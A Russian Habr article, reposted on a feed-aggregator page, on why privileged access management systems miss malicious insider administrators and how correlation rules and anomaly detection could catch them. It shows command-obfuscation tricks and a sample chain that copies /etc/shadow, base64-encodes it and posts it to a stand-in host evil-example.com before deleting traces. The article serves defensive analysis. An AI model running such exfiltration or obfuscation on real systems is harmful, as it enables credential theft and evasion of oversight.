惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
The Exploit Database - CXSecurity.com
S
Schneier on Security
Google Online Security Blog
Google Online Security Blog
The Hacker News
The Hacker News
T
Threatpost
C
CERT Recently Published Vulnerability Notes
Help Net Security
Help Net Security
D
Darknet – Hacking Tools, Hacker News & Cyber Security
The Last Watchdog
The Last Watchdog
AI
AI
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Cyberwarzone
Cyberwarzone
T
Threat Research - Cisco Blogs
G
GRAHAM CLULEY
L
LINUX DO - 热门话题
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Spread Privacy
Spread Privacy
Scott Helme
Scott Helme
阮一峰的网络日志
阮一峰的网络日志
V
V2EX
Know Your Adversary
Know Your Adversary
WordPress大学
WordPress大学
AWS News Blog
AWS News Blog
T
Troy Hunt's Blog
Microsoft Azure Blog
Microsoft Azure Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Hacker News: Ask HN
Hacker News: Ask HN
小众软件
小众软件
Cisco Talos Blog
Cisco Talos Blog
有赞技术团队
有赞技术团队
H
Heimdal Security Blog
U
Unit 42
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
大猫的无限游戏
大猫的无限游戏
F
Fortinet All Blogs
C
CXSECURITY Database RSS Feed - CXSecurity.com
S
SegmentFault 最新的问题
Forbes - Security
Forbes - Security
Security Latest
Security Latest
腾讯CDC
Security Archives - TechRepublic
Security Archives - TechRepublic
I
Intezer
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Proofpoint News Feed
A
Arctic Wolf
L
LINUX DO - 最新话题
Engineering at Meta
Engineering at Meta
C
Cisco Blogs
Recent Announcements
Recent Announcements

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
PAM не спасет вас от злонамеренного администратора. И это нормально
PAMerantsev · 2026-04-29 · via Все публикации подряд на Хабре

Привет, Хабр! Это Сергей Померанцев и в этот раз предлагаю обсудить, почему системы класса Privileged Access Management не всегда защищают от администратора, действующего злонамеренно.

Давайте договоримся, кто является нашим сегодняшним героем. Я буду считать, что «злонамеренный администратор» – это:

  • во-первых, пользователь – мы сами предоставили ему полномочия доступа в инфраструктуру (как наш собственный сотрудник, так и подрядчик);

  • во-вторых, привилегированный пользователь – полномочия доступа у него широкие;

  • в-третьих – субъект, действующий злонамеренно, с пониманием, что причиняет ущерб.

Ну, т. е., о хакерах из какого-нибудь далекого островного государства мы сегодня не говорим – как и о тех несчастных, кто, набрав rm –rf, перед нажатием «Enter» зацепил слэш вместо точки.

На всякий случай кратко отвечу на вопрос о том, зачем администратору такое творить. Мотивов может быть много: месть работодателю/руководителю, обоснование собственной значимости (сами формируем проблему – сами ее устраняем – получаем поощрение), в отдельных случаях – личная выгода (скажем, банально провести самому себе в «кадрах» сверхурочные) и др.

Посмотрим на арсенал средств контроля и реагирования, которыми оснащена типичная PAM-система:

  • Запись сессий.

  • Черный список команд для текстовых протоколов.

  • Keylogger.

А что и как будет делать наш «злонамеренный администратор», чтобы реализовать свои «злые намерения»? Исходя из того, что о присутствии PAM-системы он знает?

Запустит какие-то «плохие» команды как есть? Нет, это же откровенное «палево»! Пойдет в оснастку Active Directory и что-то настроит в ней? Снова нет: все это будет на видео! Решит свои вопросы в веб-интерфейсе какого-то приложения? И тут – мимо!

Что же мы реально вправе ожидать от «админа»? Камуфляж. Вероятно – весьма изощренный:

  • обфусцирование команд с помощью ASCII и иных   кодировок;

  • хитрые конвейеры команд;

  • распределение действий во времени;

  • формирование скриптовых файлов, выполняющих нужные ему (и вредные нам) действия.

Вот для наглядности пара примеров:

 cmd=$'\x6c\x73'

 $cmd

 printf '%s\n' ec ho ' ' he llo | paste -sd '' - | sh

 $e = "R2V0LVByb2Nlc3M="

 $cmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($e))

 Invoke-Expression $cmd

Первое (обфускация) эквивалентно ls, второе (обфускация плюс конвейер) – выведет на экран hello, третье (еще одна обфускация, уже в MS PowerShell) скрывает Get-Process.

В графических интерфейсах могут выполняться трюки с перемещением окна ввода за границы видимой области экрана, «приемы» работы с текстовым вводом и с файлами, описываемые выше для Linux, способы редактирования текста, затрудняющие его считывание и анализ через каналы клавиатурного ввода.

А что PAM? Черный список команд с таким, очевидно, не справится: закамуфлированные действия пользователя просто не будут «мэтчиться» со списком запретов. С другой стороны, запрещать всем поголовно printf,   sh и многое другое, что может быть использовано для камуфляжа – заведомо слишком строго. Запись сессий и Keylogger? Там «админские» трюки, скорее всего, будут видны. Но увидим мы их потом, скорее даже - сильно потом, когда все полимеры будут… ну, вы поняли. И произойдет это только при условии, что конкретный субъект как-то еще, иным способом, «наследил», привлек внимание, создав этим повод внимательно изучать записи. Получается, что в данном случае PAM в своем базовом варианте – скорее про форензику, чем про предотвращение угроз.

Что все-таки можно противопоставить со стороны PAM-системы? Я бы выделил три группы инструментов:

  • «Продвинутое» детектирование действий пользователя;

  • Выявление опасных действий при помощи сигнатурного анализа;

  • Определение аномалий в действиях пользователей.

Детектирование действий пользователя

Тут я имею в виду целый пласт функций, технологий и архитектурных решений, направленных на то, чтобы ответить на вопрос: «Что происходит в привилегированной сессии?»

Самое простое и естественное – «вытаскивать» команды из пользовательского ввода «как есть» – мы уже обсудили как недостаточно эффективное.

Следующий шаг   эволюции – эвристика, которая обрабатывает данные, полученные из пользовательского ввода (коды символов можно восстановить до исходного текста, разобрать конвейеры команд на отдельные элементы и т.п.) Для графических интерфейсов, вероятно, дополнительно понадобится OCR, который позволит определить, что в реальности вводит пользователь.

Многое из происходящего в привилегированных сессиях мы уже сможем таким образом разбирать. Однако эвристику все еще можно обмануть: какие-то способы камуфляжа она может просто не знать (классический пример соревнования щита и меча); какие-то способы ей в принципе не будут доступны (вспоминаем пример со скриптовым файлом, формируемым пользователем в несколько проходов).

Если добавить в PAM специализированные агентские модули, работающие на защищаемых узлах,   открывается возможность «мониторить» происходящее там на уровне системных вызовов. Пусть пользователь и скрыл от PAM свое действие, запуск нежелательного процесса, открытие какого-то потенциально опасного сетевого подключения и т.п. будут видны такому агенту; в большинстве случаев   даже можно увязать их с конкретной привилегированной сессией.

Сигнатурный анализ

Итак, у нас есть инструменты детекции, которые позволяют собирать информацию о действиях пользователя. Очевидно, недостаточно просто накапливать данные о происходящем в сессиях – для того чтобы организовать выявление чего-то опасного в общем потоке информации, требуются механизмы анализа.

Перед началом автоматизированного анализа данные целесообразно нормализовать. Например, их можно представить в виде потока событий, приведенных к некоторой единой модели: кто, где, какое действие и над каким объектом выполнил. Например, цепочка команд:

может быть промоделирована как совокупность событий:

 №

 Пользователь

 Ресурс

 Действие

 Объект действия

 Привилегированная УЗ

 Время

 1

 Лебедев Н. А.

 vault-node-03

 Чтение

 /etc/shadow

 vault-admin

 10:01:31 22.01.26

 2

 Лебедев Н. А.

 vault-node-03

 Запись

 /tmp/s

 vault-admin

 10:01:31 22.01.26

 3

 Лебедев Н. А.

 vault-node-03

 Чтение

 /tmp/s

 vault-admin

 10:01:33 22.01.26

 4

 Лебедев Н. А.

 vault-node-03

 Исходящее соединение

 evil-example:80

 vault-admin

 10:01:33 22.01.26

 5

 Лебедев Н. А.

 vault-node-03

 Удаление

 /tmp/s

 vault-admin

 10:03:01 22.01.26

Кажется, что PAM’у можно было бы «триггериться» уже на первое действие. На ряде серверов – и на четвертое. Модель нам это позволяет: мы различаем и действие, и его объект, и место, и многое другое. Следовательно, можно накладывать весьма гибкие условия на срабатывания триггеров. Далее уже Офицер ИБ проанализирует оригинальную запись сессий, конечно, разберется, что там произошло, и предпримет меры.

В реальной жизни подход чреват большим количеством ложно-положительных срабатываний: потенциально чувствительных мест в инфраструктуре много, нельзя при касании каждого из них «хвататься за пистолет». Загоняем мы так «Офицера ИБ».

Посмотрим еще раз на табличку, чтобы отметить следующее:

  • Очевидно сомнительное событие – только первое. Возможно, что и четвертое – в зависимости от характера эксплуатации узла. Но для него мы не увидим в реальном URL признаков угрозы, проблемой будет только сам факт передачи чего-то наружу. А все остальные события – вообще выглядят как какая-то заурядная возня с файлами.

  • Рассматривая события по отдельности, мы теряем информацию о взаимосвязях между действиями пользователя.

Поможет ли усложнение модели? Скажем, можно было бы первые два события представить как копирование /etc/shadow. Тогда в четвертом событии уже будет видно, что наружу передается содержимое /etc/shadow. Однако даже в этом простом примере «админ» может передавать не прямую копию /etc/shadow, а нечто иное, вот хотя бы так:

 cat /etc/shadow > /tmp/.s

 base64 /tmp/.s > /tmp/.s.b64

 curl -X POST http://evil-example.com --data-binary @/tmp/.s.b64

 rm -f /tmp/.s /tmp/.s.b64

LLM с таким разберется (я из любопытства проверил), но вот алгоритмические модели быстро придут к потолку своих возможностей: не получится, конечно, сформировать и удерживать в PAM копию защищаемой системы.

Как выйти из ситуации? Корреляция событий. Система должна позволять описывать правила, выявляющие некоторые закономерности в цепочках команд. В нашем примере можно сформировать правило:   если пользователь за относительно короткое время прочитал чувствительный файл и установил соединение к какому-то внешнему IP – бить тревогу.

Откуда, кстати, возьмутся эти правила? Для реально эксплуатируемой системы их потребуется много, в придачу – рубрикатор объектов на значительное количество позиций. Организация-внедренец правила корреляции, скорее всего, не сделает. Я долгое время занимался внедрением ПО и могу утверждать, что интеграторы, как правило, избегают такого рода задач как сопряженных с плохо контролируемыми рисками и неподходящих для проектной деятельности. У специалистов эксплуатирующей организации, с другой стороны, может не быть для этого ни компетенции, ни времени. В идеале PAM должен поставляться с готовым набором правил, разработанных вендором.

Выявление аномалий

Сигнатурный анализ, описанный мной в предыдущем разделе, обладает фундаментальным недостатком: он реактивен, основан на правилах, которые должны быть сформулированы заранее. Нет правила под какую-то ситуацию – нет и срабатывания.

Возьмем наш пример из секции о сигнатурном анализе. Допустим, у нас уже есть правило корреляции, которое реагирует на доступ к чувствительным файлам и последующим открытием сетевых портов на внешние IP. Есть и справочник этих чувствительных файлов:   /etc/shadow, /etc/passwd, /etc/sudoers, /etc/ssh/ssh_host_rsa_key и др. А вот, скажем, /etc/krb5.keytab в справочник добавить забыли: Kerberos ведь настраивают не на всех Linux. Тогда манипуляции над этим файлом PAM пропустит.

Чтобы такого не произошло, сигнатурный анализ целесообразно дополнить детекторами аномалий. Скажем, на основе статистического анализа или AI (в последнем случае имею в виду не LLM, а специализированную нейросеть, доступную on-premise).

Как это может работать? Представим, что у нас есть профиль пользователя. Мы знаем, на какие ресурсы и в какое время он «ходит», какие действия выполняет, над какими объектами он их выполняет, и где, каким IP-пользуется. Если пользователь делает нечто нетипичное для себя – можно подсветить это действие как риск. В нашем примере вспоминаем, что «злобный админ» – прежде всего «админ», и уже только потом – «злобный». Т. е., основная масса его действий укладывается в логику работы администратора. Вспоминаем теперь, что   /etc/krb5.keytab – бинарный файл, люди к нему на чтение не обращаются. Т.е., с точки зрения профилирования событие чтения такого файла будет аномальным. Если админ делал это ночью (когда никого поблизости нет) – время события станет еще одним признаком аномалии. По совокупности «ненормальностей» («кунштюк» со специфическим использованием curl, вероятно, тоже можно к таковым отнести) система вынесет вердикт: наблюдается подозрительная активность.

Таким образом, мы выяснили, что PAM-система сама по себе, в базовой комплектации, от инсайдера не защитит. В реальных сценариях для противодействия создаваемым «злонамеренным администратором» угроз от PAM требуются развитые функции детектирования и анализа происходящего в привилегированных сессиях, в т.ч.:

  • Событийная обработка с возможностью корреляции;

  • Выявление аномалий.

Напоследок поставлю перед вами, дорогие читатели, проблему: а следует ли доверять PAM автоматические реакции на выявленные угрозы? Здесь имею в виду не предупреждения, но реакции деятельные, как-то: разрыв сессии,   блокирование доступов и т. д. С одной стороны, повышаем скорость реакции на угрозы. С другой стороны, ложно-положительные срабатывания при таком режиме работы могут явиться большой головной болью.

Жду ваши соображения в комментариях!